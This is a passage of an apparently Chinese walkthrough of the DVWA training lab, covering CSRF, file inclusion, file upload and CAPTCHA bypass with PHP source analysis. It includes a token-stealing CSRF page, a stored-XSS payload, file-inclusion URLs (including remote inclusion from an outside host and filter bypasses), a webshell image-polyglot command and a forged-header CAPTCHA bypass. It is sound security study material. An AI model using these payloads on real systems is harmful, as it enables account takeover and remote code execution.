		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

           

High級别的代碼加入了Anti-CSRF token機制,使用者每次通路改密頁面時,伺服器都會傳回一個随機的token,當浏覽器向伺服器發起請求時,需要送出token參數,而伺服器在收到請求時,會優先檢查token,隻有token正确,才會處理用戶端的請求

是以現在要想進行CSRF攻擊就必須擷取到使用者的token,而要想擷取到 token 就必須利用使用者的 cookie 值去通路修改密碼的頁面,然後截取伺服器傳回的token值。然後再利用CSRF漏洞構造URL進行密碼的修改

我們嘗試利用下面的代碼去構造一個頁面,誘使使用者點選,當使用者點選該連結的這一刻,該代碼會偷偷的通路修改使用者密碼的頁面,然後擷取到伺服器傳回的 token ,然後再構造修改密碼的表單,加上我們擷取到伺服器的token值,向伺服器發送修改密碼的請求

<script type="text/javascript">
    function attack()
  {
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
  document.getElementById("transfer").submit(); 
  }
</script>
<iframe src="http://127.0.0.1/DVWA/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
  <form method="GET" id="transfer" action="http://127.0.0.1/DVWA/vulnerabilities/csrf">
   <input type="hidden" name="password_new" value="password">
   <input type="hidden" name="password_conf" value="password">
   <input type="hidden" name="user_token" value="">
   <input type="hidden" name="Change" value="Change">
  </form>
</body>
           

可是,我們忘記了浏覽器最重要的一個政策——同源政策。由于我們架構ifame要通路的連結是 http://127.0.0.1/vulnerabilities/csrf/ ,這是漏洞網站伺服器的連結。而我們的腳本執行的位置是我們自己搭的一個伺服器,是以我們的攻擊腳本是不可能跨域取到改密界面中的user_token

由于這裡跨域是不能實作的,是以我們之前的想法以失敗告終了。

在這裡,我們要想擷取到使用者的token,并送出修改密碼的表單的話,就必須得把我們的攻擊腳本注入到目标伺服器中 。而要想注入到目标伺服器,同時得發揮作用,擷取使用者的 token修改密碼的話,就得和XSS漏洞一起結合實作了

我們将如下代碼通過存儲型XSS插入到資料庫中,這語句會彈出使用者的token

<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>
           

也可以結合上面的源代碼利用上傳漏洞上傳到伺服器,然後引誘受害者點選,即可修改密碼

Impossible

檢視源碼

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_curr = $_GET[ 'password_current' ];
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Sanitise current password input
	$pass_curr = stripslashes( $pass_curr );
	$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass_curr = md5( $pass_curr );

	// Check that the current password is correct
	$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
	$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
	$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
	$data->execute();

	// Do both new passwords match and does the current password match the user?
	if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
		// It does!
		$pass_new = stripslashes( $pass_new );
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update database with new password
		$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
		$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
		$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
		$data->execute();

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

           

可以看出,impossible級别修改密碼需要輸入之前的密碼,黑客無法知道使用者之前的密碼,是以無法進行CSRF攻擊

File Inclusion

File Inclusion即檔案包含

Low

點選三個連結,可以看到url的變化

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

嘗試讀取一個不存在的檔案,發現報錯

裡面包含了一個絕對路徑

D:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

嘗試讀取檔案

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:\phpstudy\PHPTutorial\WWW\DVWA\php.ini

上面使用的是絕對路徑,也可以使用相對路徑,

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..\..\php.ini

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

發現可以讀取到php.ini檔案

遠端檔案包含

當伺服器的php配置中,選項allow_url_fopen與allow_url_include為開啟狀态On時,伺服器會允許包含遠端伺服器上的檔案,如果對檔案來源沒有檢查的話,就容易導緻任意遠端代碼執行。

假如,一個位址為x.x.x.x的伺服器上包含一個phpinfo.txt檔案,内容為

<?php
phpinfo();
?>
           

那麼就可以通過通路

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://x.x.x.x/phpinfo.txt

,來執行phpinfo()函數

檢視源碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>
           

Medium

檢視源碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

           

發現對

http://

https://

../

..\

進行了過濾,可以大小寫或者雙寫繞過

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=htthttp://p://x.x.x.x/phpinfo.txt

High

檢視源碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

?>

           

High級别的代碼使用了fnmatch函數檢查page參數,要求page參數的開頭必須是file,伺服器才會去包含相應的檔案

我們可以利用file協定來讀取檔案

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file://D:\phpstudy\PHPTutorial\WWW\DVWA\php.ini

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

Impossible

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

?>

           

可以看到,Impossible級别的代碼使用了白名單過濾的方法,包含的檔案名隻能等于白名單中的檔案,是以避免了檔案包含漏洞的産生

File Upload

File Upload即檔案上傳

Low

無防禦,直接上傳一個php檔案,成功

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

Medium

檢視源碼

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

	// Is it an image?
	if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
		( $uploaded_size < 100000 ) ) {

		// Can we move the file to the upload folder?
		if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}
		else {
			// Yes!
			$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
		}
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

?>

           

這裡驗證了檔案的mime類型和大小

抓包改

Content-Type

image/jpeg

image/png

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

放包,上傳成功

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

High

檢視源碼

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

	// Is it an image?
	if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
		( $uploaded_size < 100000 ) &&
		getimagesize( $uploaded_tmp ) ) {

		// Can we move the file to the upload folder?
		if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}
		else {
			// Yes!
			$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
		}
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

?>
           

這裡限制上傳的檔案的字尾名必須以jpg、jpeg、png結尾,同時上傳的檔案必須是有效的圖檔格式

圖檔馬繞過即可

将一張正常圖檔1.jpg末尾包含惡意代碼webshell.jpg

copy 1.jpg/b + webshell.php/a webshell.jpg
           

即可上傳成功

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

Impossible

檢視源碼

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
	$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

	// Where are we going to be writing to?
	$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
	//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
	$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
	$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
	$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

	// Is it an image?
	if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
		( $uploaded_size < 100000 ) &&
		( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
		getimagesize( $uploaded_tmp ) ) {

		// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
		if( $uploaded_type == 'image/jpeg' ) {
			$img = imagecreatefromjpeg( $uploaded_tmp );
			imagejpeg( $img, $temp_file, 100);
		}
		else {
			$img = imagecreatefrompng( $uploaded_tmp );
			imagepng( $img, $temp_file, 9);
		}
		imagedestroy( $img );

		// Can we move the file to the web root from the temp folder?
		if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
			// Yes!
			$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
		}
		else {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}

		// Delete any temp files
		if( file_exists( $temp_file ) )
			unlink( $temp_file );
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

           

uniqid()

函數基于以微秒計的目前時間,生成一個唯一的 ID。

imagecreatefrom

系列函數用于從檔案或 URL 載入一幅圖像,成功傳回圖像資源,失敗則傳回一個空字元串。

magejpeg(image,filename,quality)

:從image圖像中以

filename

檔案名建立一個

jpeg

圖檔,參數

quality

可選,0-100 (品質從小到大)

imagedestroy(image)

:銷毀圖像

可以看到,Impossible級别對上傳的檔案進行了重命名(為md5值,導緻00截斷無法繞過過濾規則),并且加入

Anti-CSRF token

防護

CSRF

攻擊,同時對檔案的内容作了嚴格的檢查,導緻攻擊者無法上傳含有惡意腳本的檔案

Insecure CAPTCHA(未科學上網)

Insecure CAPTCHA即不安全的驗證碼

PS:需要科學上網才能出現驗證碼

Low

伺服器将改密操作分成了兩步,第一步檢查使用者輸入的驗證碼,驗證通過後,伺服器傳回表單,第二步用戶端送出post請求,伺服器完成更改密碼的操作。但是,這其中存在明顯的邏輯漏洞,伺服器僅僅通過檢查Change、step 參數來判斷使用者是否已經輸入了正确的驗證碼

沒科學上網是以無驗證碼,修改失敗

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

這個時候我們抓包,将step改為2

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

修改成功

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

當然也可以CSRF攻擊,具體看這篇

Medium

在前面的基礎上增加了一個參數

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

成功

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

High

檢視源碼

<?php

if( isset( $_POST[ 'Change' ] ) ) {
	// Hide the CAPTCHA form
	$hide_form = true;

	// Get input
	$pass_new  = $_POST[ 'password_new' ];
	$pass_conf = $_POST[ 'password_conf' ];

	// Check CAPTCHA from 3rd party
	$resp = recaptcha_check_answer(
		$_DVWA[ 'recaptcha_private_key' ],
		$_POST['g-recaptcha-response']
	);

	if (
		$resp || 
		(
			$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
			&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
		)
	){
		// CAPTCHA was correct. Do both new passwords match?
		if ($pass_new == $pass_conf) {
			$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
			$pass_new = md5( $pass_new );

			// Update database
			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

			// Feedback for user
			$html .= "<pre>Password Changed.</pre>";

		} else {
			// Ops. Password mismatch
			$html     .= "<pre>Both passwords must match.</pre>";
			$hide_form = false;
		}

	} else {
		// What happens when the CAPTCHA was entered incorrectly
		$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
		$hide_form = false;
		return;
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

           

可以看到,伺服器的驗證邏輯是當$resp(這裡是指谷歌傳回的驗證結果)是false,并且參數recaptcha_response_field不等于hidd3n_valu3(或者http標頭的User-Agent參數不等于reCAPTCHA)時,就認為驗證碼輸入錯誤,反之則認為已經通過了驗證碼的檢查。

抓包,修改

User-Agent: reCAPTCHA step=1&password_new=aa&password_conf=aa&user_token=13f47dfd2f6d5131d74ffc2b657356a5&Change=Change&g-recaptcha-response=hidd3n_valu3

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

放包,成功

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

Impossible

檢視源碼

<?php

if( isset( $_POST[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Hide the CAPTCHA form
	$hide_form = true;

	// Get input
	$pass_new  = $_POST[ 'password_new' ];
	$pass_new  = stripslashes( $pass_new );
	$pass_new  = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass_new  = md5( $pass_new );

	$pass_conf = $_POST[ 'password_conf' ];
	$pass_conf = stripslashes( $pass_conf );
	$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass_conf = md5( $pass_conf );

	$pass_curr = $_POST[ 'password_current' ];
	$pass_curr = stripslashes( $pass_curr );
	$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass_curr = md5( $pass_curr );

	// Check CAPTCHA from 3rd party
	$resp = recaptcha_check_answer(
		$_DVWA[ 'recaptcha_private_key' ],
		$_POST['g-recaptcha-response']
	);

	// Did the CAPTCHA fail?
	if( !$resp ) {
		// What happens when the CAPTCHA was entered incorrectly
		$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
		$hide_form = false;
		return;
	}
	else {
		// Check that the current password is correct
		$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
		$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
		$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
		$data->execute();

		// Do both new password match and was the current password correct?
		if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
			// Update the database
			$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
			$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
			$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
			$data->execute();

			// Feedback for the end user - success!
			$html .= "<pre>Password Changed.</pre>";
		}
		else {
			// Feedback for the end user - failed!
			$html .= "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
			$hide_form = false;
		}
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

           

可以看到,Impossible級别的代碼增加了Anti-CSRF token 機制防禦CSRF攻擊,利用PDO技術防護sql注入,驗證過程終于不再分成兩部分了,驗證碼無法繞過,同時要求使用者輸入之前的密碼,進一步加強了身份認證

總結

1.DVWA重要的不是過關,而是了解具體函數的作用(代碼審計),最後明白Impossible是如何防禦的

2.CSRF真的沒懂

3.Insecure CAPTCHA以後要科學上網,然後把谷歌驗證碼解決

4.Insecure CAPTCHA也可以CSRF攻擊

5.代碼審計依舊是求也不會

2020.3.27